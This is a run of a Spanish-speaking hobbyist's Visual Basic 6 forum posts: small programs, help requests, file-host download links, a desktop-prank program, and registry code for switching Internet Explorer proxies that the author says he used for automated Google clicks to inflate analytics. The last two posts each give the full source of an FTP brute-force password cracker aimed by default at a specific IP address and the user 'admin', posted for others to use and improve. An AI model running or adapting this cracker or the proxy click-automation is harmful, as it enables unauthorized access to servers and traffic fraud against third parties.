ElseIf BASE(1) = 4 Then
    CODIGO = CODIGO & DIB2(4) & DIB2(8) & DIB2(12)
End If
For x = 0 To LINEAS - 1
    LIN = Mid(CODIGO, x * 3 + 1, 3)
    If LIN = "111" Then DIN = DIN + 2000
    If LIN = "222" Then DIN = DIN + 200
    If LIN = "333" Then DIN = DIN + 50
    If LIN = "444" Then DIN = DIN + 30
    If LIN = "555" Then DIN = DIN + 10
    Dim Y As Byte
    If Not LIN = "555" And (Mid(LIN, 1, 2) = "55" Or Mid(LIN, 2, 2) = "55") Then DIN = DIN + 5
Next
If MONEDAS = True Then DIN = DIN * 2
RESTA = LINEAS
If MONEDAS = True Then RESTA = LINEAS * 2
DINERO = DINERO + DIN - RESTA
lbldin.Caption = "$ " & DINERO
End Sub


Source con el ejecutable:

Descargar URL:
http://www.gigasize.com/get.php?d=mkrb3z3ylyb

Mirror:
http://hotfile.com/dl/80628928/841f839/Tragamonedas.rar.html

GRACIAS POR LEER!!!

HOLA!!!

Hoy vengo con algo medio ambicioso para vb6, creo que el programa no da para hacer una rutina rápida y a la vez fiable de reconocimiento de Rostros.

Ni empece con el código, es solo un proyecto que quisiera hacer, pero no se ni por donde empezar.

Según lo que tengo visto tendría que hacerlo en C pelado por su velocidad pero el tema es que este lenguaje lo se leer y programar cosas muy simples, ni hablar hacer un llamado a la webcam y demás.

Si alguien quiere sumarse por favor avise y vemos como hacemos.

Lo que se me había ocurrido era un programa en VB6 que maneje las bases de datos y que cada vez que quiera hacer un reconocimiento envié un comando a un programa en C el cual analizaría el Rostro y enviaría un integer que correspondería al numero del rostro analizado al programa en VB6 que mostraría todo lindo.

En definitiva donde buscar info, lo que hay en Google es o muy complejo o muy basico; y por supuesto si alguien quiere ayudar con el tema.

Espero respuestas y opiniones.

GRACIAS POR LEER!!!

HOLA!!!

Dejaria el code pero no es mio, solo tengo el ejecutable.

Este programa por lo menos yo lo uso para saber cuanto cobrar por programa y por modificacion que pida el cliente.

Lo unico que tienen que pensar es cuanto vale una linea de Su codigo.

(No hagan if de una linea )

Jajaja. en definitiva sirve para poder cobrar bien los trabajos y con fundamento.

P.D: No soporta Grupos de proyectos. hay que hacer por cada proyecto por separado.

Descargar URL:
http://www.gigasize.com/get.php?d=m056othh8vf

Mirror:
http://hotfile.com/dl/74175182/4b2e896/CONTADOR_DE_LINEAS_LOGICAS.rar.html

GRACIAS POR LEER!!!

HOLA!!!

Este codigo lo hice tambien cuando era mas chico. Lo que hace el programa es:

1- minimiza todo
2- saca una foto del escritorio
3- la guarda
4- la establece como fondo de escritorio
5- oculta los iconos
6- espera el tiempo en el timer4 y muestra los iconos de nuevo.

Es en definitiva para reirse un poco.


timer1 con intervalo 1
timer3 con intervalo 800
timer4 con intervalo 60000

Código (vb) [Seleccionar] Expandir


'Función Api FindWindowEx
Private Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long

'Función Api ShowWindow
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long

'Constantes para ocultar y mostrar los iconos del escritorio
Const SW_SHOW = 5
Const SW_HIDE = 0
 
 
  'Api para generar un evento de Print Screen
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, _
                                     ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

  Private Declare Function CAMBIOESC Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
  Public X As Integer
    Public F As Integer
    Public Y As Integer

'recibe la ruta donde crear el BMP
''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub MINIMIZAR()

'Constantes
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B

Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)

End Sub


Private Sub Capturar_Guardar(Path As String)

     ' borra el portapapeles
     Clipboard.Clear

     ' Manda la pulsación de teclas para capturar la imagen de la pantalla
     Call keybd_event(44, 2, 0, 0)

     DoEvents
     ' Si el formato del clipboard es un bitmap
If Clipboard.GetFormat(vbCFBitmap) Then

         'Guardamos la imagen en disco
         SavePicture Clipboard.GetData(vbCFBitmap), Path
       
End If

End Sub
Private Sub CAMBIOESCRITORIO()
Dim CAMBIO As Integer
CAMBIO = CAMBIOESC(20, 0, "c:\pantalla.bmp", 0)
End Sub
Private Sub Form_Load()
X = 0
F = 0
End Sub
Private Sub Timer1_Timer()
If X = 0 Then
    Call MINIMIZAR
    X = 1
End If
End Sub


Private Sub Timer3_Timer()
Call Capturar_Guardar("c:\pantalla.bmp")
    If F = 0 Then
    Call CAMBIOESCRITORIO
    Dim Ret As Long

On Error Resume Next
'Obtenemos el Hwnd del escritorio pasandole el nombre de la clase de ventana, en este caso Progman es el escritorio
Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

'Ocultamos los iconos pasandole a ShowWindow el Hwnd del escritorio
ShowWindow Ret, SW_HIDE
    F = 1
    End If

End Sub

Private Sub Timer4_Timer()
'Para Mostrar los iconos
Dim Ret As Long
On Error Resume Next
'Obtenemos el Hwnd del escritorio
Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

'Mostramos los iconos pasandole el Hwnd del escritorio
ShowWindow Ret, SW_SHOW
MsgBox "JAJAJAJA"
Unload Me
End Sub



Descargar URL:
http://www.gigasize.com/get.php?d=qmqpdwynqzb

Mirror:
http://hotfile.com/dl/73058161/c66defd/PSEUDO_ESCRITORIO.rar.html


P.D: Me voy, suerte, hasta el lunes.

GRACIAS POR LEER!!!

HOLA!!!

Esta vez es un juego de carreras de caballos con apuestas.
Este es mas "lindo" que el anterior.

Descargar URL:
http://www.gigasize.com/get.php?d=57lg24wr36d

Mirror:
http://hotfile.com/dl/73029647/0afa14a/Juego_de_caballos.rar.html



P.D: Se puede cambiar las apuestas en el medio de la carrera. En su momento no me di cuenta pero fue XD. Corrijan el codigo si quieren y listo.



GRACIAS POR LEER!!!

HOLA!!!

Les dejo este jueguito, esta muy bueno , pero es precario. Igual es muy adictivo.
El que lo gane en imposible sin hacer trampa que avise XD ni yo lo gane ;P.

Descargar URL:
http://www.gigasize.com/get.php?d=29cfyvy3hfd

Mirror:
http://hotfile.com/dl/72555975/0a3baa1/Jueguito_de_clickear_el_Punto_Rojo.rar.html

GRACIAS POR LEER!!!

HOLA!!!

Bueno, aca abajo esta como cambiar los proxies del iexplore por el registro.
Solamente tenes que cargar el Vector "Proxy()" y enviar la variable "NumProx" que vendria a ser el numero de proxy en la lista.

Use este codigo en un programa que servia para hacer clicks automaticos en google cada un intervalo aleatorio de segundos para subir el G.Analytics. (o como se escriba).

No es un codigo grande, pero me ayudo en su momento, por ahi les puede servir. Igual, obvio que este post no va dedicado a un nivel alto.

Pero si quieren que corrija algo avisen.

Código (vb) [Seleccionar] Expandir


Public NumProx as integer

Private Sub Form_Unload(Cancel As Integer)
Dim strProxyServer
' define el proxy y el puerto si es necesario
strProxyServer = ""
' ubicacion en la registry
Dim strRegPath
strRegPath = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
Set oWshShell = CreateObject("WScript.Shell")
' modifica las entradas en el registro
Call oWshShell.RegWrite(strRegPath & "ProxyEnable", "00000001", "REG_DWORD")
Call oWshShell.RegWrite(strRegPath & "ProxyOverride", "<local>", "REG_SZ")
Call oWshShell.RegWrite(strRegPath & "ProxyServer", strProxyServer, "REG_SZ")
' destroy
Set oWshShell = Nothing
End Sub

Private Sub PROXYCHANGE()
Dim strProxyServer
' define el proxy y el puerto si es necesario
strProxyServer = PROXY(numProx)
' ubicacion en la registry
Dim strRegPath
strRegPath = "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
Set oWshShell = CreateObject("WScript.Shell")
' modifica las entradas en el registro
Call oWshShell.RegWrite(strRegPath & "ProxyEnable", "00000001", "REG_DWORD")
Call oWshShell.RegWrite(strRegPath & "ProxyOverride", "<local>", "REG_SZ")
Call oWshShell.RegWrite(strRegPath & "ProxyServer", strProxyServer, "REG_SZ")
' destroy
Set oWshShell = Nothing
End Sub


GRACIAS POR LEER!!!

HOLA!!!

Hola, hoy se me ocurrio publicar un sistema que sirve para un estudio contable o juridico o cualquier otro que maneje muchos papeles y los ordene en cajas o biblioratos.

Este programa lo que hace es simplemente Guardar los datos y luego filtrarlos en tiempo real mientras se escribe en el text box.

Mirenlo, seguramente diran que gasto muchos recursos, y es cierto. Pero bueno, fue uno de los primeros programas que arme.

Procedimientos usados:
Alta
Baja
Modificacion
Busqueda progresiva
Reordenamiento por burbujeo.
Resize
Print

En definitiva es eso. descarguenlo no viene mal.

LINK:

http://www.megaupload.com/?d=0613NCAC

MIRRORS:
http://www.gigasize.com/get.php?d=hlzg40wk95b
http://hotfile.com/dl/72402081/843661d/Sistema_de_Archivo.rar.html

GRACIAS POR LEER!!!

HOLA!!!

Hola como andan, esta vez me suergio una traba en un proyecto bastante simple.

El tema es que tengo que loguear en Afip:

https://auth.afip.gov.ar/contribuyente/

El tema no es dificil, lleno los textboxes y despues hago click a la imagen.

Pero el TEMA es que necesito que no me abra la pagina con las cosas en el WebBrowser, sino en el navegador predeterminado de la maquina.

Osea mi idea es:
·Lleno el formulario
·Lo envio
·Abro la pagina ya con el usuario logueado en el firefox por ejemplo


P.d: Si saben de algun comando para llenar los formularios desde el shellexecute me vendria mejor.
Por ejemplo: "firefox.exe https://auth.afip.gov.ar/contribuyente/ user=CUIT password=123456 ingresarClaveFiscal.click"

Nose si me entendieron, pero como siempre...

GRACIAS POR LEER!!!

HOLA!!!

XD, nose si esto se puede llamar ejemplo, pero es mi intento por ayudar.

En el codigo estan las cosas basicas que se pueden hacer con fechas, son utiles ... creo.

CODIGO:

Código (vb) [Seleccionar] Expandir


Private Sub Form_Load()
'FECHA ACTUAL EN FORMATO ESTANDAR MM-DD-AAAA
      Label1.Caption = Date$
'FECHA ACTUAL FORMATEADA A DIAS/MESES/AÑOS
      Label2.Caption = Format(Date$, "d/MM/yyyy")
'FECHA Y HORARIO ACTUAL
      Label3.Caption = Now
'HORARIO ACTUAL
      Label4.Caption = Time
'DIA ACTUAL
      Label5.Caption = Day(Now)
'MES ACTUAL
      Label6.Caption = Month(Now)
'MES ACTUAL EN LETRAS (DEPENDE DE LA CONFIGURACION REGIONAL DE LA PC)
      Label7.Caption = MonthName(Month(Now))
'AÑO ACTUAL
      Label8.Caption = Year(Now)
'DIA DE LA SEMANA ACTUAL
      Label9.Caption = Weekday(Now)
'DIA DE LA SEMANA ACTUAL EN LETRAS (DEPENDE DE LA CONFIGURACION REGIONAL DE LA PC)
      Label10.Caption = WeekdayName(Weekday(Now))
'SOLO LA HORA
      Label11.Caption = Hour(Now)
'SOLO LOS MINUTOS
      Label12.Caption = Minute(Now)
'SOLO LOS SEGUNDOS
      Label13.Caption = Second(Now)
'SUMA A UNA FECHA ESPECIFICA
'PARAMETROS DateAdd(INTERVALO,CANTIDAD,FECHA)
'LA CANTIDAD PUEDE SER POSITIVA O NEGATIVA
'EJEMPLO FECHA ACTUAL MENOS 35 SEGUNDOS
      Label14Caption = DateAdd("S", -35, Now)
'DIFERENCIAS ENTRE 2 FECHAS
'EJEMPLO DIFERENCIA ENTRE 15/10/1329 Y HOY EXPRESADO EN DIAS
'PARAMETROS DateDiff(INTERVALO,FECHA1,FECHA2)
'LOS TIPOS DE INTERVALOS SON LOS MISMOS
      Label15.Caption = DateDiff("y", #10/15/1329#, Date$)

'---------------------------------------------------------------------------------

'TIPOS DE INTERVALOS:
'"S"=SEGUNDOS
'"n"=MINUTOS
'"h"=HORAS
'"y"=DIAS
'"ww"=SEMANAS
'"m"=MESES
'"yyyy"=AÑOS
End Sub


GRACIAS POR LEER!!!

HOLA!!!

Chicos, necesito ayuda, tengo montado un server con XAMPP 173 y tengo un script que requiere ZEND 2.1.0, y me dice que lo instale, y la verdad se me esta comlicando demasiado.

Y TENGO QUE ENTREGAR EL BOCETO DEL TRABAJO (FUNCIONAL) EL VIERNES OSEA ¡¡¡MAÑANA!!!.

Por favor necesito ayuda.


GRACIAS DE ANTEMANO!!!

HOLA!!!

Buenos dias, en realidad soy programador de VB y  C#. Pero me meti en un problema, tengo que levantar un ScriptCopy de un sitio de trabajo desde mi ordenador para empezar a traducirlo y ver como anda.

El tema es que lamentablemente, instale apache, php y mysql, y no tengo ni idea como se usan, ya puse la pagina en htdocs, entre a 127.1.1.1/ADMIN/setup.php y me abre bien la pagina, pero al clickear en el optionbox y luego en continuar vuelvo a la misma pagina, es como si la pagina no interpreta  lo que mando o estoy en un bucle.

GRACIAS!!!

ESPERO PRONTA RESPUESTA.

Pd: Les dejo el link del archivo(pass= "arthur@crostuff.net").

Código (apache) [Seleccionar] Expandir

rapidshare.com/files/266715458/NM.Jobs.Portal.v1.3_by_Arthur_www.crostuff.net.rar

HOLA!!!


Hola como andan, esta vez les quiero preguntar sobre que es mejor para ustedes y que me recomiendan.

Yo tengo armados 2 puntos de venta, uno con bases de datos en ACCESS y otro con TEXTO_PLANO.

Yo personalmente prefiero el texto plano, me manejo asi: Hago por cada tabla un archivo de texto, por ejemplo "tabla.791", despues levanto los archivos directo del programa apenas los necesito y los guardo en vectores. Y hago todas las cosas que quiero directo desde el codigo sin necesitar el access.

Y en el otro punto de venta me manejo parecido: Uso la sentencia "SELECT * FROM *" y listo, despues los recorro a mano.

Quisiera saber su opinion

P.D:  Los datos en los textos planos estan siempre en string osea "string1","string2",... y asi.( los formateo por codigo en el programa)
Y en el access ya estan formateados.

GRACIAS!!!

[CRACKEADOR FTP]

HOLA!!!

Hola amigos, estaba sin nada que hacer y me puse a programar un CRACKEADOR FTP por fuerza bruta en VB6, me puse a hacerlo por que no vi nada por la web , quisiera saber su opinion.

Bueno consiste en un form con:

• Un textbox multilinea con scroll llamado inx
• Un textbox normal llamado outx
• Un timer llamado state
• Un winsock llamado telnet

un FORM con Código:

Código (vb) [Seleccionar] Expandir


Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer

Private Sub Form_Load()
    CONTROL = vbNo
    Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
    Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
    FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
    ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
    USER = InputBox("USUARIO", "INSERTE", "admin")
    Call BORRAR_VECTOR
    Call CONECTAR_TELNET
    STATE.Interval = 1000
End Sub

Private Sub CONECTAR_TELNET()
Telnet.Connect
CT = 0
End Sub

Private Sub Form_Resize()
    If Me.Height > 701 Then
        inx.Width = Me.Width
        inx.Height = Me.Height - 700
        outx.Width = Me.Width
        outx.Top = inx.Height
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Telnet.Close
    End
End Sub

Private Sub STATE_Timer()
    If Telnet.STATE <> 7 Then
        If Telnet.STATE <> 0 Then
            Telnet.Close
        End If
        Call CONECTAR_TELNET
    End If
End Sub

Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
    Dim strData As String
    Telnet.GetData strData
    inx.Text = inx.Text & strData
    If CONTROL = vbNo Then
        Call ANALIZAR(Mid(strData, 1, 3))
    End If
    If CT Mod 2 Then
        Call NUEVAPASS
            outx.Text = "pass " & PASS
            Call outx_KeyPress(vbKeyReturn)
            Else
            outx.Text = "user " & USER
            Call outx_KeyPress(vbKeyReturn)
    End If
End Sub

Private Sub outx_KeyPress(KeyAscii As Integer)
    If KeyAscii = vbKeyReturn Then
        Telnet.SendData outx.Text & vbCrLf
        outx.Text = ""
        outx.SetFocus
    End If
End Sub

Private Sub ANALIZAR(CODE As String)
    CT = CT + 1
    If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
        CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
    End If
End Sub







Y un MODULO con Código:

Código (vb) [Seleccionar] Expandir


Dim PASSNUM(17) As Integer
Dim PASSLET(17) As String
Public PASS As String

Public Sub BORRAR_VECTOR()
    PASSNUM(1) = 47
    For X = 2 To 16
        PASSNUM(X) = 0
    Next X
End Sub

Public Sub NUEVAPASS()
    PASSNUM(1) = PASSNUM(1) + 1
    Call ORDENAR
    Call CONVERTIR
    Call CONCATENAR
End Sub

Private Sub ORDENAR()
    For X = 1 To 16
        If PASSNUM(X) = 124 Then
            If PASSNUM(X + 1) = 0 Then
                PASSNUM(X + 1) = 47
            End If
            PASSNUM(X + 1) = PASSNUM(X + 1) + 1
        End If
    Next X
    If PASSNUM(17) = 1 Then
        MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
        End
    End If
End Sub

Private Sub CONVERTIR()
    For X = 1 To 16
        If PASSNUM(X) <> 0 Then
            PASSLET(X) = Chr(PASSNUM(X))
        End If
    Next X
End Sub

Private Sub CONCATENAR()
    PASS = ""
    For X = 1 To 16
        PASS = PASS & PASSLET(X)
    Next X
End Sub


Díganme que les parece!
Y den opiniones para mejorarlo!

^**_*^**_*^**_*^**_*^**_*GRACIAS_**^*_**^*_**^*_**^*_**^*

HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

les dejo aca el codigo que uso:

FORM:

Código (vb) [Seleccionar] Expandir


Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer

Private Sub Form_Load()
   CONTROL = vbNo
   Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
   Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
   FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
   ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
   USER = InputBox("USUARIO", "INSERTE", "admin")
   Call BORRAR_VECTOR
   Telnet.Connect
End Sub

Private Sub Form_Resize()
   If Me.Height > 701 Then
       inx.Width = Me.Width
       inx.Height = Me.Height - 700
       outx.Width = Me.Width
       outx.Top = inx.Height
   End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
   Telnet.Close
   End
End Sub

Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
   Dim strData As String
   Telnet.GetData strData
   inx.Text = inx.Text & strData
   If CONTROL = vbNo Then
       Call ANALIZAR(Mid(strData, 1, 3))
   End If
   
   If CT Mod 2 Then
       Call NUEVAPASS
           outx.Text = "pass " & PASS
           Call outx_KeyPress(vbKeyReturn)
       Else
           outx.Text = "user " & USER
           Call outx_KeyPress(vbKeyReturn)
   End If
End Sub

Private Sub outx_KeyPress(KeyAscii As Integer)
   If KeyAscii = vbKeyReturn Then
       Telnet.SendData outx.Text & vbCrLf
       outx.Text = ""
       outx.SetFocus
   End If
End Sub

Private Sub ANALIZAR(CODE As String)
   CT = CT + 1
   If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
       CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
   End If
End Sub
.

MODULO:

Código (vb) [Seleccionar] Expandir


Dim PASSNUM(17) As Integer
Dim PASSLET(17) As String
Public PASS As String

Public Sub BORRAR_VECTOR()
   PASSNUM(1) = 47
   For X = 2 To 16
       PASSNUM(X) = 0
   Next X
End Sub

Public Sub NUEVAPASS()
   PASSNUM(1) = PASSNUM(1) + 1
   Call ORDENAR
   Call CONVERTIR
   Call CONCATENAR
End Sub

Private Sub ORDENAR()
   For X = 1 To 16
       If PASSNUM(X) = 124 Then
           If PASSNUM(X + 1) = 0 Then
               PASSNUM(X + 1) = 47
           End If
           PASSNUM(X + 1) = PASSNUM(X + 1) + 1
       End If
   Next X
   If PASSNUM(17) = 1 Then
       MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
       End
   End If
End Sub

Private Sub CONVERTIR()
   For X = 1 To 16
       If PASSNUM(X) <> 0 Then
           PASSLET(X) = Chr(PASSNUM(X))
       End If
   Next X
End Sub

Private Sub CONCATENAR()
   PASS = ""
   For X = 1 To 16
       PASS = PASS & PASSLET(X)
   Next X
End Sub



Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.


P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo gracias.

^**_*^**_*^**_*^**_*^**_*GRACIAS DE ANTEMANO_**^*_**^*_**^*_**^*_**^*